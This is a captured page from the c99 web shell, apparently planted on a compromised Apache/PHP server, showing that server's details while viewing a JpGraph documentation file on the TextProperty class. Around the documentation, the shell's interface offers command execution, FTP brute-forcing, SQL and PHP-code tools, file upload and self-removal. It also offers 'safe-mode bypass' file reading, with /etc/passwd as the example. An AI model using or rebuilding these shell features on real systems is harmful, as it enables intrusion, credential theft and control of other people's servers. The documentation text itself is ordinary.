!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/docs/ref/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TextProperty.html (10.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

CLASS TextProperty
(Defined in: jpgraph_gantt.php : 1479)
 TextProperty 
 Align() 
 Set() 
 SetAlign() 
 SetColor() 
 SetFont() 
 Show() 
 

Class usage and Overview
This is very similair to Text but this is only used as an internal helper class in Gantt chart. In comparison with text it has the added funtionality that it can handle tabs. In the next version of JpGraph the extra functionality that this class has should be added to the real class Text() to make the class more orthogonal. Since this is just an internal helper class it has its justified position though. This was oroginally considered a very experimental text class and it made sence to compartmetn thath functionlity in a separate class to the stnadard Text() class.

 

See also related classes:
Text

 


Class Methods

 

 

Specify vertical and horizontal alignment

ArgumentDefaultDescription
$aHAlign  Horizontal alignment
$aVAlign "bottom" Vertical alignment

Description
Specify the anchor point fo the text. The anchor point determines how the texts x,y positions should be interpretated.  

 

 

Specify text string

ArgumentDefaultDescription
$aTxt  Text string

Description
Specify text string 

Example

$graph->title->Set("Overview for year 2002");

 

 

Specify alignment for text

ArgumentDefaultDescription
$aHAlign  Horizontal alignment
$aVAlign "bottom" Vertical alignment

Description
Specify alignment for text. Same as TextProperty::Align() 
 
See also
TextProperty::Align

 

 

Set text color

ArgumentDefaultDescription
$aColor  Color

Description
Specify text color 

Example

SetColor('red:0.6');

 

 

Specify font

ArgumentDefaultDescription
$aFFamily  Font family
$aFStyle FS_NORMAL Font style
$aFSize 10 Font size

Description
Specify font family, size and style. Two major types of font families can be used, builtin bitmnapped fonts or TTF fonts. The builtin fonts have a fixed size which can't be altered. Valid styles are
  • FS_NORMAL
  • FS_BOLD
  • FS_ITALIC
  • FS_BOLDITALIC
Valid values for the internal font families are
  • FF_FONT0, Internal font 1 (small font)
  • FF_FONT1, Internal font 2, (Medium size)
  • FF_FONT2, Internal font 3, (large size)
Note: FF_FONT0 only suppor font style FS_NORMAL The available TTF are by default
  • FF_ARIAL
  • FF_TIMES, (Times Roman)
  • FF_COURIER, (Courier new)
  • FF_VERDANA, (Verdana)
  • FF_BOOK, (Bookman)
  • FF_HANDWRT, (Handwriting)
  • FF_COMIC, (Sans Comic)
 
 
See also
Image::StrokeText

Example

SetFont(FF_ARIAL,FS_NORMAL,12)

 

 

Unhide/hide the text

ArgumentDefaultDescription
$aShow true True=Show text

Description
Specify if the text should be displayed or hidden 



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]--